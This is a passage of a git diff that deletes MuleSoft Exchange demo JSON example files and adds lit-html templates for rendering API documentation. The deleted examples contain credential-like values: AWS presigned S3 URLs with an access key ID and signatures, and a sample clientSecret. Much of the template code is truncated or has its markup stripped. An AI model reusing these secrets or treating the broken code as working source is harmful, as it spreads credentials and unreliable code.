- "version": "2.0.0",
- "muleVersionId": "3.7"
- }
- ],
- "tags": [
- {
- "key": "Mule",
- "value": "Connetor",
- "mutable": true
- },
- {
- "key": "Tech",
- "value": "Database",
- "mutable": true
- }
- ],
- "dependencies": [
- {
- "id": "org.mule.modules/Test-connector-1/1.0.0",
- "groupId": "org.mule.modules",
- "assetId": "Test-connector-1",
- "version": "1.0.0",
- "type": "extension",
- "name": "Mule App"
- }
- ],
- "files": [
- {
- "classifier": "oas",
- "packaging": "yaml",
- "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml",
- "md5": "d2dd14a6cbbb15869105d9755d2f8345",
- "createdDate": "2017-11-15T14:45:56.592Z"
- },
- {
- "classifier": "fat-raml",
- "packaging": "zip",
- "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip",
- "md5": "cc06a35cbb56a7468ba434810972e89a",
- "createdDate": "2017-11-15T14:45:56.592Z"
- }
- ],
- "instances": [
- {
- "id": "mocking-service",
- "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw",
- "assetId": "carlos",
- "productAPIVersion": "v1",
- "version": "1.0.0",
- "environmentId": "id",
- "endpointUri": "https://mocksvc-proxy.anypoint.mulesoft.com/exchange/f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0",
- "name": "Mocking Service",
- "isPublic": true,
- "type": "mocked",
- "fullname": "Mocking Service"
- }
- ],
- "productAPIVersions": [
- {
- "productAPIVersion": "v1",
- "versions": [
- {
- "id": "f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0",
- "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw",
- "assetId": "carlos",
- "version": "1.0.0",
- "organization": {
- "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4"
- },
- "status": "published",
- "isPublic": false,
- "createdAt": "2017-11-15T14:45:58.962Z",
- "assetLink": "",
- "runtimeVersion": "",
- "productAPIVersion": "v1",
- "files": [
- {
- "classifier": "oas",
- "packaging": "yaml",
- "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml",
- "md5": "d2dd14a6cbbb15869105d9755d2f8345",
- "createdDate": "2017-11-15T14:45:56.592Z"
- },
- {
- "classifier": "fat-raml",
- "packaging": "zip",
- "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip",
- "md5": "cc06a35cbb56a7468ba434810972e89a",
- "createdDate": "2017-11-15T14:45:56.592Z"
- }
- ],
- "type": "rest-api"
- }
- ]
- }
- ],
- "metadata": {
- "productApiVersion": "v1"
- },
- "createdBy": {
- "id": "22222a22-2222-22a2-a2aa-2222222222aa",
- "firstName": "Charlie",
- "lastName": "Brown",
- "userName": "Char"
- },
- "permissions": [
- "admin",
- "edit"
- ],
- "organization": {
- "name": "AGW",
- "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4",
- "createdAt": "2017-09-01T19:05:53.528Z",
- "updatedAt": "2017-11-01T16:56:04.797Z",
- "ownerId": "6dd2fd2d-9a83-4949-9a3f-72f3a065fef3",
- "clientId": "a1e5d79e5bf3482fa22e90825b92142c",
- "domain": "mulesoft-inc",
- "idprovider_id": "mulesoft",
- "isFederated": false,
- "parentOrganizationIds": [
- "f0c9b011-980e-4928-9430-e60e3a97c043"
- ],
- "subOrganizationIds": [],
- "tenantOrganizationIds": [],
- "isMaster": false
- }
-}
diff --git a/demo/exchange-experience-api/examples/assetStatus.json b/demo/exchange-experience-api/examples/assetStatus.json
deleted file mode 100644
index 987d490..0000000
--- a/demo/exchange-experience-api/examples/assetStatus.json
+++ /dev/null
@@ -1,3 +0,0 @@
-{
- "status": "published"
-}
diff --git a/demo/exchange-experience-api/examples/assets.json b/demo/exchange-experience-api/examples/assets.json
deleted file mode 100644
index 6f17f3e..0000000
--- a/demo/exchange-experience-api/examples/assets.json
+++ /dev/null
@@ -1,159 +0,0 @@
-[
- {
- "id": "org.mule.modules/Test-connector-1/1.0.0",
- "groupId": "org.mule.modules",
- "assetId": "Test-connector-1",
- "version": "1.0.0",
- "isPublic": false,
- "productAPIVersion": "v1",
- "description": "My connector test description",
- "name": "My Anypoint Connector",
- "type": "connector",
- "createdAt": "2017-01-25T19:36:45.654Z",
- "modifiedAt": "2017-01-25T19:36:45.654Z",
- "runtimeVersion": "v1",
- "assetLink": "http://www.racing.com.ar",
- "icon": "http://www.icon.com.ar",
- "status": "published",
- "rating": 3.5,
- "numberOfRates": 2,
- "versions": [
- {
- "id": "org.mule.modules/Test-connector-1/1.0.0",
- "groupId": "org.mule.modules",
- "assetId": "Test-connector-1",
- "version": "1.0.0",
- "muleVersionId": "3.7"
- },
- {
- "id": "org.mule.modules/Test-connector-1/2.0.0",
- "groupId": "org.mule.modules",
- "assetId": "Test-connector-1",
- "version": "2.0.0",
- "muleVersionId": "3.7"
- }
- ],
- "tags": [
- {
- "key": "Mule",
- "value": "Connetor",
- "mutable": true
- },
- {
- "key": "Tech",
- "value": "Database",
- "mutable": true
- }
- ],
- "dependencies": [
- {
- "id": "org.mule.modules/Test-connector-1/1.0.0",
- "groupId": "org.mule.modules",
- "assetId": "Test-connector-1",
- "version": "1.0.0",
- "type": "extension",
- "name": "Mule App"
- }
- ],
- "files": [
- {
- "classifier": "oas",
- "packaging": "yaml",
- "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml",
- "md5": "d2dd14a6cbbb15869105d9755d2f8345",
- "createdDate": "2017-11-15T14:45:56.592Z"
- },
- {
- "classifier": "fat-raml",
- "packaging": "zip",
- "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip",
- "md5": "cc06a35cbb56a7468ba434810972e89a",
- "createdDate": "2017-11-15T14:45:56.592Z"
- }
- ],
- "instances": [
- {
- "id": "mocking-service",
- "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw",
- "assetId": "carlos",
- "productAPIVersion": "v1",
- "version": "1.0.0",
- "environmentId": "id",
- "endpointUri": "https://mocksvc-proxy.anypoint.mulesoft.com/exchange/f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0",
- "name": "Mocking Service",
- "isPublic": true,
- "type": "mocked",
- "fullname": "Mocking Service"
- }
- ],
- "productAPIVersions": [
- {
- "productAPIVersion": "v1",
- "versions": [
- {
- "id": "f0c9b011-980e-4928-9430-e60e3a97c043.agw/carlos/1.0.0",
- "groupId": "f0c9b011-980e-4928-9430-e60e3a97c043.agw",
- "assetId": "carlos",
- "version": "1.0.0",
- "organization": {
- "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4"
- },
- "status": "published",
- "isPublic": false,
- "createdAt": "2017-11-15T14:45:58.962Z",
- "assetLink": "",
- "runtimeVersion": "",
- "productAPIVersion": "v1",
- "files": [
- {
- "classifier": "oas",
- "packaging": "yaml",
- "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/49a29662-d318-4628-ad79-4828b264add2/carlos-1.0.0-oas.yaml?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=WyEWbW0Ipg0%2FiyMUbBj05zYZ97Y%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-oas.yaml",
- "md5": "d2dd14a6cbbb15869105d9755d2f8345",
- "createdDate": "2017-11-15T14:45:56.592Z"
- },
- {
- "classifier": "fat-raml",
- "packaging": "zip",
- "externalLink": "https://exchange2-asset-manager.s3.amazonaws.com/d83b3280-4ea8-4c3b-a8a2-ec6e589574f4/97a76ab9-3639-4002-9b84-bb6b751860d3/carlos-1.0.0-fat-raml.zip?AWSAccessKeyId=AKIAI5ZXWOH2ORZHJPTQ&Expires=1510926241&Signature=xOE%2BHrUE7ssYwYq259LQRdXQveY%3D&response-content-disposition=attachment%3B%20filename%3Dcarlos-1.0.0-raml.zip",
- "md5": "cc06a35cbb56a7468ba434810972e89a",
- "createdDate": "2017-11-15T14:45:56.592Z"
- }
- ],
- "type": "rest-api"
- }
- ]
- }
- ],
- "metadata": {
- "productApiVersion": "v1"
- },
- "createdBy": {
- "id": "22222a22-2222-22a2-a2aa-2222222222aa",
- "firstName": "Charlie",
- "lastName": "Brown",
- "userName": "Char"
- },
- "permissions": [
- "admin",
- "edit"
- ],
- "organization": {
- "name": "AGW",
- "id": "d83b3280-4ea8-4c3b-a8a2-ec6e589574f4",
- "createdAt": "2017-09-01T19:05:53.528Z",
- "updatedAt": "2017-11-01T16:56:04.797Z",
- "ownerId": "6dd2fd2d-9a83-4949-9a3f-72f3a065fef3",
- "clientId": "a1e5d79e5bf3482fa22e90825b92142c",
- "domain": "mulesoft-inc",
- "idprovider_id": "mulesoft",
- "isFederated": false,
- "parentOrganizationIds": [
- "f0c9b011-980e-4928-9430-e60e3a97c043"
- ],
- "subOrganizationIds": [],
- "tenantOrganizationIds": [],
- "isMaster": false
- }
- }
-]
diff --git a/demo/exchange-experience-api/examples/assign-users.json b/demo/exchange-experience-api/examples/assign-users.json
deleted file mode 100644
index 48c6cf7..0000000
--- a/demo/exchange-experience-api/examples/assign-users.json
+++ /dev/null
@@ -1,6 +0,0 @@
-[
- {
- "userId": "4b8c4ccd-c8fd-49ff-aa97-cf434d9d4e97",
- "role": "admin"
- }
-]
diff --git a/demo/exchange-experience-api/examples/client-applications.json b/demo/exchange-experience-api/examples/client-applications.json
deleted file mode 100644
index f80350b..0000000
--- a/demo/exchange-experience-api/examples/client-applications.json
+++ /dev/null
@@ -1,41 +0,0 @@
-[
- {
- "masterOrganizationId": "40fbc081-bb0d-4aff-9fb7-f3a48fdeb958",
- "id": 1,
- "name": "The Amazing Application",
- "description": "This is the description of The Amazing Application",
- "grantTypes": [
- "password",
- "implicit",
- "client_credentials",
- "authorization_code",
- "refresh_token"
- ],
- "redirectUri": [
- "http://localhost:9090",
- "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/authentication/oauth2.html",
- "https://qax.anypoint.mulesoft.com/apiplatform/pingfederateqa/admin/authentication/oauth2.html",
- "https://api-notebook.anypoint.mulesoft.com/authenticate/oauth.html"
- ],
- "contract": {
- "id": 35885,
- "status": "APPROVED",
- "tier": {
- "id": 1234,
- "name": "Gold",
- "description": null,
- "limits": [
- {
- "timePeriodInMilliseconds": 60000,
- "maximumRequests": 1000
- },
- {
- "maximumRequests": 20000,
- "timePeriodInMilliseconds": 3600000
- }
- ],
- "status": "ACTIVE"
- }
- }
- }
-]
diff --git a/demo/exchange-experience-api/examples/contracts.json b/demo/exchange-experience-api/examples/contracts.json
deleted file mode 100644
index 66b275a..0000000
--- a/demo/exchange-experience-api/examples/contracts.json
+++ /dev/null
@@ -1,36 +0,0 @@
-[
- {
- "id": 36444,
- "status": "PENDING",
- "requestedTier": {
- "description": null,
- "id": 14939,
- "limits": [
- {
- "maximumRequests": 1000,
- "timePeriodInMilliseconds": 60000
- },
- {
- "maximumRequests": 20000,
- "timePeriodInMilliseconds": 3600000
- }
- ],
- "name": "Gold"
- }
- },
- {
- "id": 13765,
- "status": "APPROVED",
- "tier": {
- "description": null,
- "id": 5770,
- "limits": [
- {
- "maximumRequests": 5,
- "timePeriodInMilliseconds": 60000
- }
- ],
- "name": "Silver"
- }
- }
-]
diff --git a/demo/exchange-experience-api/examples/file.json b/demo/exchange-experience-api/examples/file.json
deleted file mode 100644
index 8de566f..0000000
--- a/demo/exchange-experience-api/examples/file.json
+++ /dev/null
@@ -1,4 +0,0 @@
-{
- "key": "my-file",
- "url": "http://my-file"
-}
diff --git a/demo/exchange-experience-api/examples/get-client-application-response.json b/demo/exchange-experience-api/examples/get-client-application-response.json
deleted file mode 100644
index acb239e..0000000
--- a/demo/exchange-experience-api/examples/get-client-application-response.json
+++ /dev/null
@@ -1,11 +0,0 @@
-{
- "id": 59453,
- "name": "TestRequestAPIAccess",
- "description": "TestRequestAPIAccess description",
- "url": "http://localhost:8080",
- "redirectUri": ["http://localhost:9090"],
- "clientId": "904ca48597f54f6a9ed98ab9f4bcbb85",
- "clientSecret": "2D1921aEbC6847D1ADc329603E4c5dC1",
- "masterOrganizationId": "68ef9520-24e9-4cf2-b2f5-620025690913",
- "grantTypes": []
-}
diff --git a/demo/exchange-experience-api/examples/health-response.json b/demo/exchange-experience-api/examples/health-response.json
deleted file mode 100644
index 0ee51de..0000000
--- a/demo/exchange-experience-api/examples/health-response.json
+++ /dev/null
@@ -1,53 +0,0 @@
-{
- "status": "ok",
- "dependencies": [
- {
- "name": "Asset Portal Service",
- "code": "portal-service",
- "description": "The Asset Portal Service Dependency",
- "status": "ok"
- },
- {
- "name": "Graph Service",
- "code": "graph-service",
- "description": "The Graph Service Dependency",
- "status": "ok"
- },
- {
- "name": "CS Service",
- "code": "cs-service",
- "description": "The CS Service Dependency",
- "status": "ok"
- },
- {
- "name": "Asset review Service",
- "code": "asset-review-service",
- "description": "The Asset Review Service Dependency",
- "status": "ok"
- },
- {
- "name": "Asset Manager Service",
- "code": "asset-manager-service",
- "description": "The Asset Manager Service Dependency",
- "status": "ok"
- },
- {
- "name": "Dependency Resolver Service",
- "code": "dependency-resolver",
- "description": "The Dependency Resolver Service Dependency",
- "status": "ok"
- },
- {
- "name": "API Metadata Service",
- "code": "api-metadata",
- "description": "The API Metadata Service Dependency",
- "status": "ok"
- },
- {
- "name": "Search Service",
- "code": "search",
- "description": "The Search Service Dependency",
- "status": "ok"
- }
- ]
-}
diff --git a/demo/exchange-experience-api/examples/page.d.ts b/demo/exchange-experience-api/examples/page.d.ts
deleted file mode 100644
index 61e203e..0000000
--- a/demo/exchange-experience-api/examples/page.d.ts
+++ /dev/null
@@ -1,13 +0,0 @@
-/**
- * DO NOT EDIT
- *
- * This file was automatically generated by
- * https://github.com/Polymer/tools/tree/master/packages/gen-typescript-declarations
- *
- * To modify these typings, edit the source file(s):
- * demo/exchange-experience-api/examples/page.html
- */
-
-
-// tslint:disable:variable-name Describing an API that's defined elsewhere.
-
diff --git a/demo/exchange-experience-api/examples/page.html b/demo/exchange-experience-api/examples/page.html
deleted file mode 100644
index 6e2851f..0000000
--- a/demo/exchange-experience-api/examples/page.html
+++ /dev/null
@@ -1,14 +0,0 @@
-
- Salesforce to Salesforce, Workday, SAP and Database Account Broadcast
-
-
-
- Real time synchronization of accounts from one Salesforce org to another as well as a Workday HCM instance, an SAP instance and a Database using a non-persistent JMS topic.
-
-
-
- Description
-
-
- This Anypoint Template should serve as a foundation for setting an online sync of accounts from a Salesforce instance to many destination systems, using the Publish-subscribe pattern. Every time there is a new account or a change in an already existing one, the integration will poll for changes in the Salesforce source Org, publish the changes to a JMS topic and each subscriber will be responsible for updating the accounts in the target systems.\n\nThe application has two different batch jobs consuming this JMS topic, one for migrating the changes to the second Salesforce Org and the other one for migrating the changes to the Database. During the Process stage, each Salesforce account will be matched with an existing account in the Salesforce Org B or the Database by Name. The last step of the Process stage will group the accounts and create/update them in Salesforce Org B.\n\nFinally during the On Complete stage the Anypoint Template will log output statistics data into the console.\n\nRead more about the Publish-Subscribe pattern in this blog post
-
+ `;
+ }
+
+ /**
+ * @param {string} schemaId The parent schema id value
+ * @param {any[]} options The options to render.
+ * @param {string} selected
+ * @returns {TemplateResult} The template for the union any of selector.
+ */
+ [anyOfOptionsTemplate](schemaId, options, selected) {
+ return html`
+
+ ${paramLocation === 'header' ? this[apiKeyHeaderExample](name) : ''}
+ ${paramLocation === 'cookie' ? this[apiKeyCookieExample](name) : ''}
+ ${paramLocation === 'query' ? this[apiKeyQueryExample](name) : ''}
+ `;
+ return this[paramsSectionTemplate]('Settings', 'settingsOpened', content);
+ }
+
+ /**
+ * @param {string} name The name of the API Key parameter
+ * @returns {TemplateResult} The template for API Key header example
+ */
+ [apiKeyHeaderExample](name) {
+ const value = `${name}: abcdef12345`;
+ return this[exampleTemplate](value);
+ }
+
+ /**
+ * @param {string} name The name of the API Key parameter
+ * @returns {TemplateResult} The template for API Key cookie example
+ */
+ [apiKeyCookieExample](name) {
+ const value = `Cookie: ${name}=abcdef12345`;
+ return this[exampleTemplate](value);
+ }
+
+ /**
+ * @param {string} name The name of the API Key parameter
+ * @returns {TemplateResult} The template for API Key query parameter example
+ */
+ [apiKeyQueryExample](name) {
+ const value = `GET /api?${name}=abcdef12345`;
+ return this[exampleTemplate](value);
+ }
+
+ /**
+ * @param {string} value
+ * @returns {TemplateResult} The template for a single example
+ */
+ [exampleTemplate](value) {
+ return html`
+
+ Example
+
`;
+ }
+
+ /**
+ * @param {ApiServer} server Server definition
+ * @return {TemplateResult} A template for a single server in the main API definition
+ */
+ [baseUriTemplate](server) {
+ const { baseUri, protocols } = this;
+ const uri = UrlLib.computeApiBaseUri({ baseUri, server, protocols, });
+ return html`
+
+
${uri}
+
+ `;
+ }
+
+ /**
+ * @param {ApiServer} server Server definition
+ * @return {TemplateResult} Template for a server list items when there is more
+ * than one server.
+ */
+ [serverTemplate](server) {
+ const { baseUri, protocols } = this;
+ const uri = UrlLib.computeApiBaseUri({ baseUri, server, protocols, });
+ const { description } = server;
+ return html`
+
+ `;
+}
+
+/**
+ * @param {string} name The name of the parameter
+ * @param {boolean=} required Whether the parameter is required
+ * @param {boolean=} deprecated Whether the parameter is deprecated
+ * @param {string=} paramName When set it renders the parameter name. Should be used when `name` is a `display name`.
+ * @return {TemplateResult} The template for the property name value.
+ */
+export function paramNameTemplate(name, required=false, deprecated=false, paramName) {
+ const label = String(name||'');
+ const classes = {
+ 'param-name': true,
+ required,
+ deprecated,
+ };
+ return html`
+
+ ${label}
+
+ ${paramName ? html`${paramName}` : ''}
+ `;
+}
+
+/**
+ * @param {string} type The parameter type label to render.
+ * @return {TemplateResult|string} The template for the parameter data type.
+ */
+export function typeValueTemplate(type) {
+ if (!type) {
+ return '';
+ }
+ return html`
+
+ ${type}
+
+ `;
+}
+
+/**
+ * @param {string} description The description to render.
+ * @return {TemplateResult|string} The template for the markdown description
+ */
+export function descriptionValueTemplate(description) {
+ if (!description) {
+ return '';
+ }
+ return html`
+
+
+
+
+
+ `;
+}
+
+/**
+ * @param {string} label The label to render
+ * @param {string} value The value to render
+ * @param {string=} name Optional data-name attribute value.
+ * @return {TemplateResult}
+ */
+export function tablePropertyTemplate(label, value, name) {
+ return html`
+